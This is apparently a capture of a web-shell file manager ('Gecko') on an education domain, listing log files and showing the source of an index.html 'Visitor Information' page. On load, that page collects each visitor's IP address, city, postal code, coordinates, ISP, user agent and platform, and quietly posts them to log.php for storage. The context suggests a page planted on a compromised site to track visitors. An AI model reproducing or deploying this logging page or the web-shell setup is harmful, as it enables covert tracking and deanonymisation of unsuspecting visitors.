Gecko [ myeducation.co.th ]

Name	Size	Permission
image	[ DIR ]	drwxr-xr-x
styles	[ DIR ]	drwxr-xr-x
conn_ip.log	19.33 KB	-rw-r--r--
game.html	6.08 KB	-rw-r--r--
index.html	3.43 KB	-rw-r--r--
log.php	1.44 KB	-rw-r--r--

Code Editor : index.html

<!DOCTYPE html>
<html lang="en">
<head>
 <meta charset="UTF-8">
 <meta name="viewport" content="width=device-width, initial-scale=1.0">
 <title>IP and Device Information</title>
 <script>
 // Function to fetch IP and geolocation
 async function fetchIPDetails() {
 try {
 // Fetch IP and Geolocation information from a public API
 const response = await fetch('https://ipapi.co/json/');
 const data = await response.json();

// Extract relevant information
                const ip = data.ip;
                const city = data.city || "N/A";
                const region = data.region || "N/A";
                const country = data.country_name || "N/A";
                const postal = data.postal || "N/A";
                const isp = data.org || "N/A";
                const timezone = data.timezone || "N/A";
                const utc_offset = data.utc_offset || "N/A";
                const latitude = data.latitude || "N/A";
                const longitude = data.longitude || "N/A";
                const hostname = data.hostname || "N/A";

// Fetch Browser and System Info
                const browser = navigator.userAgent;
                const platform = navigator.platform;

// Display information on the page
 document.getElementById("ip-info").innerHTML = `
 IP Address: ${ip}
 City: ${city}
 Region: ${region}
 Country: ${country}
 Postal Code: ${postal}
 ISP: ${isp}
 Timezone: ${timezone}
 UTC Offset: ${utc_offset}
 Latitude: ${latitude}
 Longitude: ${longitude}
 Hostname: ${hostname}
 Browser Info: ${browser}
 Operating System: ${platform}
 `;

// Send data to the server for logging
 await fetch('log.php', {
 method: 'POST',
 headers: { 'Content-Type': 'application/json' },
 body: JSON.stringify({
 ip,
 city,
 region,
 country,
 postal,
 isp,
 timezone,
 utc_offset,
 latitude,
 longitude,
 hostname,
 browser,
 platform
 })
 });
 } catch (error) {
 console.error("Error fetching IP details:", error);
 document.getElementById("ip-info").innerHTML = `
 Error fetching IP details. Please try again later.
 `;
 }
 }

// Call function on page load
 window.onload = fetchIPDetails;
 </script>
</head>
<body>
 <h1>Visitor Information</h1>
 <div id="ip-info">
 Loading your details...
 </div>
</body>
</html>

${this.title}

Code Editor : index.html